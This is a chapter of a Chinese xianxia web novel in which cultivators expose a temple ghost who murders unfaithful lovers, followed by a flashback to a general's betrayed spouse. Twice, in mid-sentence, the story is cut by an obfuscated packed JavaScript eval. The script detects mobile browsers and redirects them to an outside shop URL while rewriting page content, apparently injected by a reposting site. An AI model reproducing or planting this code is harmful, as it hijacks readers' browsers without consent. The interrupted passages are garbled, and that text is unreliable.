“那是自然,毕竟禮间乃李氏的天下……只可惜,星霜屡变,百代过客,既早已更朝换代,百年前的旧事,今日便不必重提了。” 齐时负耸了耸肩。 “齐兄所言极是!只是……”顾於眠突然鬼鬼祟祟地压低声,将身子朝齐时负凑近了些,问,“这星君庙当真是什么人都能求姻缘么?” “自然!众生平等,六合星君待人从来无有尊卑贵贱之分!” “那……我有个好兄弟,他乃大名鼎鼎的禮间四族之一若氏族人,名唤若泭。他呀——真真是个大逆不道之人!星君恐怕不能兼顾吧?” “此话怎讲?” “您也知道,狐朋狗友也是友,经不得他愁眉苦脸地闹。唉——也是我这人心软,碰上了别人,这龌龊窝囊事可真真说不出口!” 齐时负不知他要说什么惊天动地的事,面上已有些僵硬。 “您有所不知,他是个不识礼数的狂徒,喜欢谁不好,偏偏长歪了眼,就偏偏看上了自家胞弟若讱!那爱的可谓刻骨铭心呐!你说他成日茶饭不思,郁郁寡欢,近乎形销骨立,我也不能不管。这必然是孽缘!我可万没有要附和之意,就是……他俩这样能求姻缘吗?” 顾於眠冲他讪讪一笑,颇有些不知如何的窘迫。 “……” 不单齐时负闻言瞠目结舌,一旁坐着的三人也是大吃一惊,一时间欲笑者强忍,欲骂者也没法当着齐时负的面开口。 那齐时负却是尴尬得抓耳挠腮,他清了清嗓子,这才开了口:“求自然是能求的……只是终究有些不合礼数……星君大抵也会看着办吧……” 闻言,顾於眠满意地点了点头:“成!不过这若泭来日要成了一家之主,恐怕他也能得偿所愿吧?倒也真是,我看这伤风败俗的东西该是骨血里头自带的孽根,上梁不正下梁歪嘛!” “公子……还是莫要妄下断语好些。若氏百年前好歹也是个碧血丹心者齐聚的望族,虽说今朝有三两子弟心思不正,但万不能以偏概全。” “是么?我都没有齐兄懂得多呢!” 虽说顾於眠的玩笑话没头没脑,但这若泭乃当今若氏现任家主。不知他人尚且无碍,可作为管辖一方的宗主,若泭在此地早便无人不知无人不晓,遑论是一常于榕村中行之人。家主换任那日,若氏可是变着法子昭告四地,锣鼓喧天,笙歌鼎沸,非“热闹”二字所能概括。 遑论那齐时负识字,且观其谈吐姿态,也像个读书人,既然知之甚多,又怎会连宗主之名都不知? 此外,若讱作为若泭的嫡长子,因平素喜欢行侠仗义,美名远传,连行于榕村中都能听见村人在哭闹若讱怎不帮来他们除鬼。 纵顾於眠前边以李氏王试其纪年没得手,后边这一问却也令其无声中栽了个大跟头。 虽说齐时负非人,但也并不一定是那伤人恶鬼。 顾於眠没急着揭穿他,只笑笑道:“明日我们便要离开此地了,难得来一回,怎么都得好好赏一赏这地之景才是!我瞧这天色尚早,不如咱们去林间走走,日落前回来便好。” 谁知,那严卿序和谢尘吾二人皆摆摆手,找借口推辞了。顾於眠只得无奈撇撇嘴,旋即拉上江念与,各自同“心上人”告别,奔林间去了。 ------------------------------------- 二人走后,庙中冷清不少。 齐时负兀自在庙外劈柴火,谢尘吾则立在庙门外一会看天一会看地,齐时负见他话不多也不敢多言。 严卿序经过时,他仰首同他打了个招呼,可那严卿序却变了个人似的,径直走到了谢尘吾身旁,贴在他耳畔不知低声说了什么,谢尘吾便随他入了庙。 齐时负并非喜听人墙角,只是这周遭本阒然无声,庙中却突然响起了争执之声。齐时负心底困惑,于是自虚掩的庙门向内瞥看,不料这么一看却令他怔愣在原地。 只见严卿序用手撑墙,将谢尘吾挡在墙角处,谢尘吾的面容被昏影给笼住了,看不大清神色。 谢尘吾像是从喉底挤出话来:“你他娘还要不要脸了!?什么叫娶了他,你就能同我一辈子?我看你不单是为了那姓余的钱吧?你是不是看上了那狐媚子了!?” 又听得严卿序慌慌忙忙道:“你可小点声吧!我都同你讲了多少遍了,我没有那个意思……你也知道的,他家光陪嫁之物就有好几车金银珠宝呢!你那位不也生得一副惑君貌吗?你又不亏……” “你他娘给我滚一边去!你算什么东西,胆敢耍我!”谢尘吾一脚踹在严卿序身上,那一脚踢得尤为实在,八尺男儿被他生生踹飞在地。 他从暝晦中走出,眼见的火冒三丈,那眼神中戾气尤其重。 “狗娘养的畜生玩意……我他娘告诉你,我这辈子都不可能给、人、做、妾!!!” 他怒气冲冲地大迈步子便要出庙,怎知竟同门前还来不及离开的齐时负直直打了个照面。 齐时负惊慌失色,又见谢尘吾本便阴沉的脸更暗下去几分。 “你都听见了?!胆敢说出去半个字,你的小命也别要了!” 谢尘吾狠狠瞪了齐时负一眼,旋即甩袖而去,齐时负却是面如土色,僵愣原地。 “齐兄……你懂的吧?” 揉着肚子起身的严卿序也跨出庙门,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775668|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颇有些威胁意味地拍了拍齐时负的肩膀,那声音在齐时负耳边嗡嗡地闹,如是叫他听见了魍魉低语。 “……” 良久,齐时负只是默默立在庙门边,像是失了魂一般。但余光瞥见严卿序锁在他身上的灼灼目光,他只得摇了摇头,又拾起了地上锈迹斑斑的斧子。 他漫不经心地向下劈去,那木块登时碎作了两半。 顾於眠和江念与回来后,齐时负总禁不住看他二人。可那二人心里没数,依旧有说有笑,快活似神仙,那份欣喜却叫齐时负的心更凉了半截。 他沉默地看着顾於眠牵起严卿序的手,那假模假样之人满面桃花笑春风的幸福模样,更叫齐时负心底有说不出的怅然。 天下有情人多难得善终,欺瞒成性、喜新厌旧、始乱终弃者皆不可胜数。拜了星君又能如何?海誓山盟又有何用?不负相思意,惟盼共白首皆不过诓人的假话罢了。 “蠢货……” ------------------------------------- 顾於眠在庙前生了团火,飘飞的火星携着碎木屑在五人眼前荡,被烧裂的木柴滋滋乱响。 五人夜谈,顾於眠起了兴致,说着说着便提到了明日回府后便要差人备三书六礼的事来。 齐时负闻言眉头都拧在了一块,他面色凝重,嘴唇翕张,然而还什么都没说,两道狠戾的目光便将他的话逼回了口中。 “许家可真是忠义呐,这千百年来就没出过叛臣吧?要我说,这禮间就属许家最有仁心!”顾於眠倚着一树,显得尤为慵懒,他把玩着严卿序的长发,笑得灿烂。 论起胡编乱造与装傻充愣的本事,从小到大便没几人比得过他。 然而听了那话,齐时负却脸色一沉:“这恐怕不对吧?百年前就属许氏谋逆者众,怕论忠肝义胆还轮不到许家呐……” 见他上钩,顾於眠一哂,语调轻松,尾音上扬:“没成想齐兄懂的竟如此多,我读了十几年书竟还不知道这事呢!” “嗯……都是我师傅同我讲的,师傅他老人家对这些事了解的比较多。” 顾於眠面不改色饮下口茶,点点头道:“是,祖辈懂的东西确实多。” 由于明日要起个大早,几人只又胡乱侃了几句便匆匆散了。那齐时负往庙后屋去的背影瞧上去尤其落寞,就好若被背叛的人是他一般。 严卿序无可奈何叹了一口气:“但愿我们没错怪了好人……” “这有什么,倘今夜无事,明早解释清楚便成了。”顾於眠并不在意地耸了耸肩。 ------------------------------------- 夜里时分,山中鬼哭更甚,近乎是震耳欲聋,凄嚎之声怨气冲天。 谢尘吾死活不肯躺在席上,到最后也单勉强盘腿倚墙而坐,扮出个闭目养神的模样。 倏忽间,森森鬼哭声戛然而止,万籁俱寂。 悉悉簌簌的声响在小庙中响起,顾於眠将眼皮掀开条缝,瞧见了拖在地上的、冒着血光的粗麻绳,麻绳卷起草席的边,带来阵凉丝丝的风。 严卿序微抬眼帘,便见一人立在身前,素衣破旧,手中还牵着一条红绳。 那人见他睁目,赶忙弯腰欲将绳索往他脖颈上套,怎知还未来得及动手,一旁的顾於眠已攥住了那人的腕。 其余三人旋即拔剑而起,将来人围了起来。那人抬首,露出齐时负那张失魂落魄的脸,他面色憔悴,一双眼红得像是要滴出血来。 “你们怎么都醒着……” 顾於眠一哂,神情晦朔不明:“自然是为了等你来。” 齐时负听后也笑了,他的身子在刹那间化作团黑雾漂浮于空,冲出四人桎梏便冲出庙中。 “想抓我,你们还太……” 他话未说完便不受控制地下沉,逼不得已,只得又化作人形,肉身于是重重摔在了地上。 他再抬眼时,夜幕之下,四人已分据四角,展开了早已布好的阵法——千万条锁链从八方涌现,直捆住他的手脚,迫使其跪倒于地。 齐时负用力扯了扯那锁链,却发觉挣脱不得,于是问:“你们早便知道?” “再早也没早过你杀了那些村人!”顾於眠猛一拉紧手中锁链,齐时负便向顾於眠那侧偏去,“你杀人是为了什么?是为了外头那块碑么?” 齐时负不语。 “说话……”谢尘吾的手一抬,一柄短刀旋即穿过齐时负的臂膀,在他身上留下个黑黝黝的血洞。 然而齐时负的神色仍旧从容,他只平静道:“我杀的皆是该死之人,负心薄情本便是杀人诛心!我惩治罪人,替天行道,何错之有!?你们何必多此一举来管我的事?” “好一个替天行道……” 飞来的焚痕剑遽然间狠劈上齐时负之身,鲜红四溅,齐时负喉底终于咕咚响起几声呜咽。 “装人装够了,便快些把召你的人供出来,虽说你是死路难逃,但你也不愿我把那碑给掀了吧?”谢尘吾语声疏离,不留情面。 “哈哈哈——我不过手下留情几分,你们便真把我当什么弱不禁风的病鬼了?” 言罢,四人手中锁链一齐颤动起来,只听“砰”的一声巨响,那锁链上爬上裂痕,风沙顷刻间席卷而来。 迷蒙沙尘间,众人被呛得咳嗽不止,那一向以快剑闻名的谢尘吾却毫不犹豫冲至了齐时负身,罹难剑在下一刻将齐时负劈作两半。 只可惜齐时负这会已没了肉身,被砍散的黑雾又聚拢起来。他笑了笑,也变出一把长剑,不过随心挥打几下,却还是逼得谢尘吾以防代攻。 “哈哈哈——”齐时负疯了一般大笑不止,眼中却不知为何淌出血泪来,“你们要同我斗,我便奉陪到底!” 言罢,他挥袖召出两个将军模样的尸鬼来,那俩尸鬼仰天长啸,林间登时刮起狂风,满地残枝败叶哗啦作响着飞至半空,千百双闪着红光的眼睛于是从草叶间闪出,皆盯在了四人身上。 只听得低低呜咽伴随沉重脚步声而来,口边挂着涎液的尸鬼颤颤巍巍地出现在四人视野中,无一不是面目狰狞,嘻笑不止。 那满身血的齐时负兀自走到了那残碑旁,画下隔绝他与外界的阵法,将头轻轻抵在那碑上,嘴里念叨着什么。 “啧……” “涑夜十寒”谢尘吾,他从非浪得虚名。十八那年,他于陌成涑林以一敌百,满地断臂残肢,他身上却无一丝半点朱红血色。那夜恰天气阴寒,故围观之众皆道是那谢氏一身寒气比邪祟更甚。 但其实,他练快剑除却天赋异禀外,还受自身洁疾影响,长此以往,便成了个“衣不染尘,剑不沾血”之人。 自林中涌现的尸鬼阴兵源源不断,恍若千军万马怒吼而来。谢尘吾面无惧色,只照常以快剑灭鬼,于密林中硬是杀出条血路,可惜那路顷刻间又被张牙舞爪、奇形怪状的尸鬼给填满了。 江念与发觉尸鬼皆一股脑往谢尘吾那边挤,于是凭术法升至半空,以手中掬苓剑指天,引了条天雷落地,直将那密林炸出个大坑。火星四溅,密密麻麻的尸鬼倒了一地。 他落地,用剑在空中划出“破暝”二字,登时一道明光自虚无中来。轰然一声巨响后,他身遭炸开了灿灿焰火,浓黑的血浆于是洒了一地。 谢尘吾只朝他微微颔首,也将术法注入罹难剑中。他冷冷望着满身污泥的尸鬼,死命忍住洁疾带来的头晕目眩之感,只临空一劈,前方便出了条近半里的血道。 那些尸鬼头颅落地后还在骨碌碌的转,没一会便被复又涌上去的后来者给踏碎了。 谢尘吾出招既快又狠,方才夷平的地没个三年五载连根草都长不出来,然而谢公子浑身依旧不染纤尘,连剑上都未留下一滴污血。 另一边,那温雅君子隐去润泽形貌,方一握紧手中焚痕便冲入了尸鬼群中。他一往无前,黑血溅了满身。 “焚风,剑起。” 一语罢,天边有万剑齐落,白刃无影,只刹那便刺入尸鬼的头颅、脖颈、胸腔、臂膀。那君子回过身,周遭的尸鬼已尽数倒下了。 齐时负神色冷漠,他麻木地抬了抬手,张口道:“出……” 霎时间,山崩地裂,碎开的地面如若阴鬼的血盆大口,一条长舌蠕动其中,翻卷起来,继而从中传出了嘻嘻的笑声,千万条僵青的手从昏暝中伸出,挣扎着,扭动着,狂舞着…… 天象异常,苍穹顶有阴云凝聚不散,片片血色散布其中,像是无数只朱红的眼珠,骨碌碌转个不停。 那手像是生了目,一旦瞧见有人要御剑升空,便要过去拽。江念与蹙起眉,赶忙拦下欲扑向他们的尸手。待瞧见他们已平稳御剑后,方凌空跃起要御剑升空,谁知双腿竟被数只手给遽然抓住了。 “啊——” 一声难抑的嘶喊引得三人齐齐回头。 只见那数只手穿过江念与的薄衣裳,嵌入他的皮肉间,条条血痕直顺着腿往下落。 那尸手带了毒,江念与的双腿已是动弹不得,虽极力遏制,意识却还是逐渐朦胧起来,那手越伸越长,死死拽住他,眼见要把他拖入地府去。 9. 宣容 顾於眠御剑至江念与身边时,江念与已然不省人事,朝云被顾於眠猛然握紧后下落,那比铁硬的玩意却愣是一动也不动。 眼见江念与此刻已沦作茧中蚕,稍有不慎便有可能伤到他,顾於眠不敢妄自施法,只得死命拽住那僵青的尸手,硬扯开条缝,露出江念与半张脸来。 恰这时谢尘吾和严卿序也到了,二人见状亦是束手无策,只能略施小术为江念与留下呼吸的空间。 尸手仍在蔓延,顾於眠戏谑一笑,旋即御剑升空,在并不算高的庙顶堪堪停下。 自古尸鬼皆嗜血,从来是无血不欢。顾於眠手里玩着一柄短刀,模样轻蔑,在严卿序回首望他的刹那,短刀遽然划开了他左掌的皮肉。 翻开的皮肉透着浅淡绛色,淋漓鲜血自白皙指尖滑落,一滴一滴地落入拥挤的尸潮中。 满目皆是兴奋起来的怪物,听取嘻笑声一片。围着江念与撕咬的东西也散开了一大波,皆相互推搡着要往庙上攀爬,只刹那间,庙上已被黑压压一片阴鬼占满了。 怪物仍在不断往上攀,可咬住江念与的那一堆依旧没有松口。他垂了垂眼睫,遽然引剑捅穿了掌心。 鲜血又汩汩淌出,顾於眠咬紧牙关,额间冷汗涔涔,瞧见庙周遭又掀起阵阵躁动,他莞尔一笑。 因是嗅着了灵力充沛的浓血气味,地底钻出的活尸手哗啦一下松开猎物,转向顾於眠扑去。谢尘吾趁机快剑斩落那些已然嵌入江念与皮肉的尸手,严卿序奋力一拽,这才将江念与拉出。 见江念与尚存气息,俩人皆暗自松了口气。 与此同时,怒吼着的亡魂尸鬼聚作黑黢黢的影帐扑向顾於眠,嬉笑者、抖动着,欣喜若狂。 这才有功夫回身瞧顾於眠的谢尘吾却是目眦欲裂,不由地大喊:“顾於眠,你疯了吗!?” 自古如此冒险且得以全身而退的能有几人? 顾於眠没有理会谢尘吾的驾声,见已有些尸鬼攀至庙顶,他以术法缓缓上升,浮至半空。 或许他早就疯了吧,单留一骸骨存世,心死神空,魂飞魄散。 残局总要有人收拾的,由他来收拾,自然是最合适不过了。 他面色从容,缓聚体内近半成灵力于朝云剑锋,又于刹那举剑挥出。 倏忽间,整座庙宇上的尸鬼均化作浮尘散去,然他俯首下看,依旧有张牙舞爪的怪物源源不断自黄泉门中爬出。 “啧……” 顾於眠不耐烦地撩起额前发,而后阖目,拧紧眉心,念道—— “朝云横度。” 父亲曾告诫他,驱使灵术需知分寸,万不可太过莽撞,否则,轻则走火入魔,重则心胆破裂,暴毙而亡。 可顾於眠是个不听劝的蛮横子,他将满是血的左掌赫然拍上胸膛,四窜的灵力登时若万马于体内奔腾起来,烈烈马蹄似是踩着他的心脏过去,他遽然呕出一滩血来。 , 锥心之苦被他生生忍下,汇集体内近八成灵力的剑发着颤指向了昏晦穹顶。 霎时间,万抹黑絮铺满青天,乱风狂起,交错的雷鸣电闪若冥界众鬼齐出,“轰隆”几声后,地上升起了团团黑烟。 长风呼啸,似有百万天将怒吼而至,将无数尸手掀起又绞碎于半空之中。 顾於眠满目几近血红,额间一道淡蓝花钿显现,脖颈白皙处已是青紫一片。他体内烫血四涌,过度发散的灵力于五脏六腑间攒动,仿佛即将碾碎肉身而出。 狂风癫狂般卷起顾於眠的长发,那半束长发的淡蓝绸缎先是散开,继而随风而去,卷入枯枝败叶的漩涡之中。 严卿序将怀中江念与递给谢尘吾,竭力于飓风中抬眸,却只能徒然眼望顾於眠那如画容颜被血痕密密遮去,飘散的乌发打着凌乱的卷。 “於眠——够了!!!” 严卿序朝那空中高声喊,嗓音已然嘶哑,腥甜一阵阵涌上喉口。只可惜,一片混沌中,顾於眠根本听不见他的呼喊,即便听见了,也断然不会收手。 暴雨化刃而落,直刺得亡魂尸鬼嘶嚎尖叫,但那雨降至人身上,却仅有刺骨的冰冷。 谢尘吾将江念与护在怀中,却也挡不住翻飞的雨点溅至江念与身上。 他只要稍稍垂头便能瞧见满面血痕的江念与,那身浅色的长袍被血染得深红,腿上道道伤痕皆嵌入肉里,被绞碎的衣摆亦烂在其中。 “啧……” 所幸,随着最后一声撕心裂肺的叫喊散去,万籁俱寂。满地的断手残肢于一刹间化尘散去,灰飞烟灭。 顾於眠觉得耳畔嗡嗡作响,朦朦胧胧间终于听见严卿序在唤他,却如何也听不清他在说些什么。 “扑通——扑通——扑——通——” 他清晰地听见自己的心跳声愈来愈慢,愈来愈弱。 可他什么也看不清,混沌血色遍染河山,他眨了眨眼,眼睫上只垂下几抹粘腻的血丝。 他不知现下已是怎么样一番情况,只能麻木地伸长左臂,将满是血污的手掌对着眼前的金光万丈处,一阵一阵地输送灵力,以维持无边风雨。 额间冷汗携血淌下,似有万钧重物压身,他强撑直立,腰背却逐渐佝偻弯曲,恍惚楼阁将倾。 他眼底一软,旋即向前倒去。 然而刹那间,他被一人拥入了怀中。那人滚烫的体温热了他冰冷的躯身,一双大手将他满是血的左手盖在掌心之下。 耳畔依旧是无边风声,他已无力去辨认眼前之人。只感觉有一股股灵力在向自己体内回淌,似徐徐春风,抚平严冬暴雪。 风雨势渐弱,朝云之术终消散。 半空余风卷着两人的长发,严卿序一袭玄色长衣,俯视河山,威严自柔和眸中外露,几许孤寒不若平常,平添几分凌厉。 他松开顾於眠的手,逼停空中不散的愁云,继而于顾於眠耳畔轻声道—— “於眠,都结束了,我替你疗伤。” 言毕,严卿序耐住忧虑,以严家秘术为顾於眠疗伤,源源不断的灵力倒流入他体内。 他垂首只能瞧见怀中人蹙眉阖目的模样,一时间竟忘却了那绛色长袍本该是月白色。 幸好,百年秘术诚不欺人,顾於眠有了几分清明。 “於眠,别睡……好吗?” 严卿序嗓音因嘶喊而沙哑,他清楚顾於眠此番内伤太重,一旦睡过去再想醒便难了,因而语声中有些哀求。 “我……我没……没事……”顾於眠强撑着将眼皮掀开条缝,想笑却笑不出来。 另一边,守着破碑的齐时负口中喷出黑血来,他只将头倚着碑,任下淌的血泪污了面。 御剑的谢尘吾抱着江念与落地,快步入庙,将他在草席上轻轻放下了。 谢尘吾并不通医术,只能从行囊里寻了个干净的布替他试去面上的血污,见他气息微弱,不禁蹙起眉来。 奈何齐时负的事情不得耽搁,他也不管江念与听不听得见,自顾自说道:“完事后再带你寻个好点的医馆,你先忍忍。” 他言罢便出了庙。 庙外,严卿序已经扶着顾於眠立在碑旁了,谢尘吾朝俩人点点头便将剑挂上了齐时负的脖颈。 “说吧,你为何杀人?” “哈哈哈哈哈——” 谢尘吾见他猖狂,又一脚踹在他身上,斜睨着他:“问你话呢!你为何要杀负心人?!” “他们本便该死!”齐时负猛咳几声,捂住心口,嗓音发颤,“负心……负心……负的是他们许了白首不离誓言之人,他们皆是烂到骨子里的渣滓!活着做什么?” 不等几人开口,齐时负又接道:“世上最不缺薄情人……我只恨我不能将他们全都杀光……” 他说得含糊,像是掉入了回忆的漩涡中,一字一顿,一句一停。 “也曾有一人许我海誓山盟,放言‘若有二心,千刀万剐’。我也曾迎红喜,那日锣鼓喧天,赤绸绕梁,明灯万盏,满堂生辉。许诺的是他,后来借我无法为他留下一儿半女,而去寻花问柳的也是他!但他到头来还是不信我,亲手……将我用命换来的药给泼了一地……” 一语罢,齐时负已是痛哭流涕,浑身震颤。 “你……让我如何不恨?” “你哪怕被他亲手杀了,也无资格让他人随葬。” 谢尘吾踩上齐时负的腿,没让他挪动,只是脚上力多少轻了些。 “事到如今,苦肉计又有何用?”严卿序凝视齐时负,叹了口气。 “垂死挣扎……”顾於眠觑着他,面上寒得惊人,“讲他人故事可叫你寻到了几分慰藉?” 闻言,谢尘吾回过头来:“什么叫他人故事?” 顾於眠费劲抬手指了指那块碎了一半的斑驳石碑,嗓音嘶哑:“既大婚日有明灯万盏,则必不是凡俗人家。百年前的滁蔺血战,领兵的将军中便有一人唤作“齐时负”,但禮间名‘时负’者众,我先前不确定,现下倒觉得八九不离十了。” “当年的齐家,是李氏皇帝身边的红人,世世代代出了不少名将,齐家乃货真价实的名门望族。虽说这碑上刻的名字虽已看不清,但依照禮间习俗,凡是旧望族,必得于其后添上一系列名号,这碑素朴不说,碑上刻字还寥寥无几,这墓又怎可能是齐家墓?” “自个儿立的破碑还不许他素了?”谢尘吾蹙眉,“哪个大族的死了人,牌位不放宗祠里供着?” “那这碑谁立的?又是给谁立的?” “自然是齐时负口中的负心人给齐时负立的……” “所以是齐时负百年来都在守心中痛恨之人给自己立的碑么?依照他所想,同那些个薄情寡义之人相关的事物都该毁了不是么?” 顾於眠摇了摇头,觉得实在乏力,全靠严卿序扶着:“何况这世间岂会有人守自己的棺与碑守个百年?倘若心中无悔,他何必如此苦苦守碑?他既有悔,负心之人不是他,又还能是谁?” “恨的本就是自己,杀再多人也解不了那心结的。” 话音刚落,不知何处来的漫漫黄沙遽然扬起,一阵风过,眼前竟变了景象。 破庙不见了影,只见长街华盖云集、车水马龙,有两看得清容貌的人并肩而行,面上欢喜,正谈笑风生。 只见一人身着银盔,容貌俊逸,一副鲜衣怒马无所畏惧的少年郎模样,正对身侧高些的年轻人笑道:“齐将军心中想的什么?” “我啊……正盘算着笔生意呢!”那人原是少年齐时负,恰二十三四的大好年纪,玉树临风、貌比潘安。 “别卖关子了,说吧!我宣容不差钱。” “宣小将军,你嫁于我,我以之死靡他的情来偿,如何?这可是笔划算买卖,你也是个生意人,不会不懂吧?” 宣容闻言扑哧一笑:“哈哈哈——成交!那齐将军可是我的人了!” 那年,千里同风,宣将军府同齐将军府锣鼓喧天,漫空的焰火连着放了三夜,万盏明灯高挂于屋檐之下,熠熠生辉。 红帐微摇,二人洞房花烛,耳鬓厮磨,是何等的美满欢欣。 然而转眼却变了光景。 恰是兵连祸结时日,将军府门前稀稀拉拉站着几个满脸疲惫的守卫,柱上金漆剥落,那守门的无可奈何叹一句——“此乃多事之秋啊!” 只可惜那后院已不单宣容一人了。 几个花枝招展的娇媚女子慵慵在厅堂坐着,每一个皆是风姿绰约,互看不顺眼,均在变着法子争着为大将军生出长子来! 一人骂了一嘴,另一人必要还嘴,一来二去,就差动手厮打了。 宣容冷眼看着几人吵闹,只自顾自闷声喝酒,在几人开始互相拉扯头发时,终于忍无可忍,将那酒杯“砰”地一声砸在桌上。 “你们发什么疯?!外边正是兵荒马乱的时候,你们竟还在此整后院起火?齐时负他娘的有闲时间管你们这些破事啊?!能不能消停会?再闹小心我砍了你们的脑袋!” 对于这些人被娶入家中,宣容心中是有恨的。如若是放在自己尚未及冠的年纪,他一定大闹一场。但如今他已是二十五的年纪,已学会放下了许多执念。 何况,他不想齐时负对他生怨,毕竟这几桩姻亲是齐母硬牵的,宣容一个大男人又无法给他齐家传宗接代。 只是,齐时负分明在她们的柔骨媚容下动了情,他夜夜往他们院里去。即便在府里遇上了,怀里也必然搂着个美人。 那他呢?他又算什么? 是偶尔觉得歉疚了,便来可怜他,同他翻云覆雨一夜的娼|妓么? “嘁,当自己什么人呐!不就是个用身子讨将军欢心的废物吗?你吃的不是将军的饭呐?你厉害怎么不上沙场杀敌,倒和我们这群娇弱女子守家呢?真是……废物倒还有理了!” “你说什么?!” 宣容一个十六岁便同父出征,十九岁便被封为从二品将军的少年将军,这辈子头一回被一人如此欺辱。 倘若不是前年为了救齐时负,受了重伤,不容他久站,他本该意气风发地立于战场上。 宣容被戳到了痛处,抬手就要一巴掌打在那人脸上,把那人吓得花容失色。 然而手尚在半空便被一人抓住了,回头一看,好巧不巧正是齐时负。 众人都屏住呼吸不敢说话了,宣容也一时愣在原地。 “你要做什么?打人么?如今你连女人都打?礼义廉耻呢?!道义呢?!” “……” 宣容无话可说,知道说也没用,反正无论如何那齐时负都不可能偏袒他,毕竟这些话他当着众人面说出来,本就不曾想过要给他台阶下。 宣容鼻头一酸,兀自垂头不语。 齐时负骂了一声,紧拽住他的腕,将他拉回寝屋中,猛地将其摔在地上,冷冷道:“我真是越来越看不懂你了……” “我倒是看得懂你。” 宣容身上伤还没好全,被他这么一扔,旧伤又开始隐隐作痛,他在地上挣扎之时,齐时负已冷着脸踏出门去。 只听得“哐铛”上锁声,齐时负已转过身去,欲要离开。宣容见状,赶忙爬起,也顾不得什么礼节,只疯了一般拍门大喊。 “让我回沙场!我要杀敌!我不要待在这!” 齐时负没有回答,似是觉得荒唐,只给了他一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775669|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷笑。 “你若不想下次回来看见的便是这些娇柔女子的尸首,你就让我回沙场!” 闻言,齐时负才将门打开,他一脚踹在木桌上,沉声道:“给你一夜收拾好东西,明日一早上路,到了沙场,你的死活我可顾不上了。” 言罢,齐时负便头也不回地走了。 瘫坐在地的宣容发髻散乱,他将头埋在被抓得发青的手臂中,饮泣吞声。 “你明明说过唯我一生的……” 那呜咽声逐渐散开,悲戚沉郁,他却从未叫齐时负听见,他从未在那人面前落下过一滴泪。 “不爱我了,扔了便是,把我锁在这囚笼里……无望地等你回心转意做什么呢?” 喃喃自语中泡浸的,是旧去新来的苦恨。 痴念无所解,空等不归人。 他知道自个错了,错在轻信誓言,错在擅以为那人只会爱他,错在仍旧心心念一个早已不会回头之人。 飞沙走石一瞬过,天地又变了番景象。 滁蔺血战,十万许家军背水一战,在裕山北面同李氏军大战几回合,难分伯仲。山上是李氏军的一个扎营点,林中密麻麻都是人。 不曾料许家为取胜不择手段,偷摸着朝溪水中下了难解的剧毒。李氏军队大乱,许家军趁乱攻上山来。营将自顾不暇,随从的家眷美人亦乱作一团。 不知谁人喊了声——“齐将军中毒了!!!” 刚自战场上退下的宣容顶着满身疲惫,擅用唤魂禁术,剜心换药,得了小小一杯解药来。 他强忍着心口剧痛,以那被恶鬼施舍的两炷香寿命冲到齐时负身边,哭喊:“时负,这药你快喝了,这能解毒……快你……” 话未说尽,他便被甩开了。 只见齐时负搂着家中硬要跟来的宠妾,怒道:“这都什么时候了,你去哪里听信了谣言要来害我?你要如何证明这是毒鸩还是解药?” “我不奢望你记得什么山盟海誓,我只求你信我这一回。你信我……这汤药是解药……千真万确……” 两炷香内他身上的伤口不会显现,他没法凭伤口解释,更不可能告诉齐时负那解药是他擅用禁术换来的。 于是,他只能跪地苦苦哀求齐时负。齐时负早已不信他了,只一脚将其踹开,冷冷道:“你有这闲工夫倒不如上战场杀敌去!” 齐时负皱着眉挥翻了那琉璃碗,宣容眼见命换来的药都被滴入了土里,钻心之痛瞬间令他浑身痉挛起来。 他颤抖着跪在地上,如若丧家之犬,疯癫般刨开不知被多少人踩过的泥污泥。眼见那药渗开,再拿不回来了,他绝望地嚎哭起来。 “啊啊啊啊啊——” 齐时负见状皱了皱眉,只当他是疯魔了,唤人将他拖回了营帐里。 “好端端的,怎么神志不清了……啧……就不该带他来!” 宣容最后瞥向齐时负那眼,眸子已经黯淡了,空荡荡的心中再住不下一个叫“齐时负”的薄情人。 “我不再护你了,我要护我的国……” 迷迷蒙蒙中,宣容挣脱侍卫的搀扶,毅然拿起长剑奔向剑影刀光。 他从非一个愿意做小伏低、委曲求全的人,在齐时负之事上他深陷云雾,却能于他事上独得清醒。 一炷香的时间里,他用所剩无几的寿命杀了无数的敌人,每砍在敌人身上的一刀,都流着他宣容过去十余年的将士忠血,而再无他对那薄情人的一丝半点情意。 最后他倒在沙场上来的怪异,眼前的敌人挥剑还没砍在他身上,宣容便僵直着倒下了,心口处开了一个黑黝黝的洞。 再后来,一具具新的尸体压在他的尸身上,血肉都被战车碾碎了。 李氏兵命大,战败的许家为保全地位交出了解药,齐时负等人的毒都悉数解去,只是一个明媒正娶的宣容死在了战场上,一个新纳的妾被误杀罢了,没人记得宣容死不瞑目。 直至一个幸存的士兵惋惜着说起宣副将军死状之怪异,齐时负这才后知后觉地召出了宣容的魂,读了他这一世所经历的悲欢离合、愁肠百转,读明了他至死不渝的情。 亡魂没有多说什么,只留下一句宣容倾其一生没能问出口的话来—— “我不是只会温席的废人,我也有心啊……你怎么只看见了你自己的心呢?” “就这样吧。” 宣容在这世间散了个干净。 青蝇点素,他奉为圭臬;肺腑之言,反踩入泥潭。 悔恨太难言,也太迟。 “宣容……宣容……” “我好恨……好恨啊……” 一夜白头的齐时负瘫坐在宣容房里苦苦叫唤、泪流满面。 